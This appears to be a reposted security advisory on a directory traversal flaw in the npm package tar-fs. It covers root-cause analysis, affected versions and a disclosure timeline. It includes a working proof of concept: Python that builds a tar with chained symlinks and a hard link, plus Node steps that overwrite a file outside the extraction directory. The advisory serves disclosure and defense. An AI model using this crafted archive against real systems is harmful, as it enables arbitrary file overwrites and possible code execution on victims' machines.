tar-fs Link Directory Traversal Vulnerability
NPM包tar-fs存在严重漏洞,允许恶意tar文件写入任意文件至目标目录外。攻击者利用多级符号链接和硬链接绕过安全检查,导致任意读写敏感数据或远程代码执行。该漏洞影响多个版本(v3.0.8、v2.1.2、v1.16.4),涉及大量依赖项目。 2025-8-13 23:59:37 Author: github.com(查看原文) 阅读量:0 收藏

Summary

NPM package tar-fs allows a malicious tar file to write arbitrary files outside the destination directory.

Severity

Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls.

Proof of Concept

This proof-of-concept assumes it is being run under /home/username.

The tar file created in this PoC will modify the /home/username/flag/flag file that exists outside of the destination path the tar file is extracted into. The tar file will also create /home/username/flag/newfile.

This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0.

1. Prepare the environment
$ pwd
/home/username
$ mkdir flag
$ echo "hello world" > flag/flag
2. Prepare the tar file

Open a Python interpreter and run the following code (can be copy and pasted).

import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
    root = tarfile.TarInfo("root")
    root.linkname = ("noop/" * 15) + ("../" * 15)
    root.type = tarfile.SYMTYPE
    tar.addfile(root)
    noop = tarfile.TarInfo("noop")
    noop.linkname = "."
    noop.type = tarfile.SYMTYPE
    tar.addfile(noop)
    hard = tarfile.TarInfo("hardflag")
    hard.linkname = "root/home/username/flag/flag"
    hard.type = tarfile.LNKTYPE
    tar.addfile(hard)
    content = b"overwrite\n"
    overwrite = tarfile.TarInfo("hardflag")
    overwrite.size = len(content)
    overwrite.type = tarfile.REGTYPE
    tar.addfile(overwrite, fileobj=io.BytesIO(content))
    content = b"new!\n"
    # The following code is for [email protected] only. [email protected] and [email protected]
    # correctly validate this filename, which stops this file being created.
    newfile = tarfile.TarInfo("root/home/username/flag/newfile")
    newfile.size = len(content)
    newfile.type = tarfile.REGTYPE
    tar.addfile(newfile, fileobj=io.BytesIO(content))
3. Extract the tarfile
$ pwd
/home/username
$ ls flag             # check the flag dir and file are unchanged 
flag
$ cat flag/flag
hello world

$ mkdir otherdir      # this is a dummy dir to keep everything clean
$ cd otherdir
$ npm install tar-fs  # install tar-fs

$ node
Welcome to Node.js v18.19.1.
Type ".help" for more information.
> const tar = require('tar-fs');
undefined
> const fs = require('fs');
undefined
> fs.createReadStream('../poc.tar').pipe(tar.extract('.'));
<ref *1> Extract {
//...
}
>
CTRL-D

$ cd ..
$ ls flag            # the flag dir is different!
flag  newfile
$ cat flag/flag
overwrite
$ cat flag/newfile
new!

Further Analysis

Multiple Symlinks

tar-fs has checks that attempt to prevent the creation of symlinks where the target is outside the destination directory. This amounts to the following check in onsymlink():

const dst = path.resolve(path.dirname(name), header.linkname)
if (!inCwd(dst)) return next(new Error(name + ' is not a valid symlink'))

Path.resolve() merely joins paths passed as arguments and returns an absolute path without any ".." components, joining the path with the current directory if needed. No attempt is made to resolve any symlinks in the path, nor check that they exist.

This means that a linkname like "noop/noop/noop/../../../" can be successfully created as it simply returns dst and passes the inCwd(dst) check. Likewise, noop, with a linkname of ".", also evaluates to dst.

However, once these symlinks are both created they can be used together to escape the destination directory. "noop/noop/noop" evaluates to ".", which means "noop/noop/noop/../../../" becomes "./../../../" allowing traversal outside the destination directory.

Hard link creation

Now that we have a symlink pointing outside the destination directory, the symlink can be used to create hard links that point to files outside the destination directory. These hard links can then be overwritten, replacing the contents of the file outside the destination directory.

This is possible due to the lack of validation when creating hard links in onlink():

const dst = path.join(cwd, path.join('/', header.linkname))

xfs.link(dst, name, function (err) {
  if (err && err.code === 'EPERM' && opts.hardlinkAsFilesFallback) {
    stream = xfs.createReadStream(dst)
    return onfile()
  }

stat(err)

When determining dst the path is forced to be under cwd, regardless of whether linkname contains any "..". However, since the path used starts with the symlink created above (e.g. root/etc/passwd) dst can both start with cwd, and point outside the destination directory, anywhere on the same filesystem.

Furthermore, when extracting files, if a file already exists, the same inode is written to - allowing arbitrary writes outside of the destination directory.

Symlink validation regression in v3.0.2

Prior to v3.0.2, the validate() function would recursively check every component of the filename to ensure that either the component didn't exist, or was a directory.

// validate from v3.0.1 and earlier was effectively the following:
function validate (fs, name, root, cb) {
  if (name === root) return cb(null, true)
  fs.lstat(name, function (err, st) {
    if (err && err.code !== 'ENOENT') return cb(err)
    if (err || st.isDirectory()) return validate(fs, path.join(name, '..'), root, cb)
    cb(null, false)
  })
}

If a symlink was encountered, the callback was called indicating that the name had failed to validate.

v3.0.2 included PR#106, which appears to fix a windows related issue. This change meant that validate() now only checked the path until it found the first component above the filename that was a directory, weakening the validation.

// validate from v3.0.2 and later is now:
function validate (fs, name, root, cb) {
  if (name === root) return cb(null, true)
  fs.lstat(name, function (err, st) {
    if (err && err.code === 'ENOENT') return validate(fs, path.join(name, '..'), root, cb)
    else if (err) return cb(err)
    cb(null, st.isDirectory())
  })
}

This means that for a tar file entry to be successfully extracted under a symlink, we need to ensure that there is a directory under the symlink as well. i.e. "symlink/.../dir/.../filename".

This regression, in conjunction with the root symlink above, now means we can now successfully create any tar file entry anywhere on the filesystem, except in the root directory.

Impact

The latest versions of tar-fs v3.0.8, v2.1.2 and v1.16.4 are all vulnerable to arbitrary file writes via a hard link. Given previous vulnerabilities CVE-2018-20835 and CVE-2024-12905, all versions of tar-fs are likely vulnerable to this bug.

Only v3.0.2 - v.3.0.8 are vulnerable to both the hard link vulnerability and the symlink vulnerability.

Tar-fs is a very popular package:

  • v3.0.2 or later: 16878 dependents, 8.5M weekly downloads
  • v2.1.2: 38934 dependents, 6.3M weekly downloads
  • v1.16.4: 9270 dependents, 194K weekly downloads

(Sources: https://deps.dev/npm/tar-fs/3.0.8/versions, https://www.npmjs.com/package/tar-fs?activeTab=versions, sampled May 16, 2025).

Approximately half of these dependencies appear to come from prebuild-install.

Through the directory traversal arbitrary reads and writes are possible. Arbitrary reads allow an attacker to read sensitive data, while arbitrary writes allow an attacker to modify or destroy data, and in some cases arbitrary writes can be used to gain remote access, or run arbitrary code.

Timeline
Date reported: 2025-05-16
Date fixed: 2025-05-22
Date disclosed: 2025-08-14


文章来源: https://github.com/google/security-research/security/advisories/GHSA-xrg4-qp5w-2c3w
如有侵权请联系:admin#unsafe.sh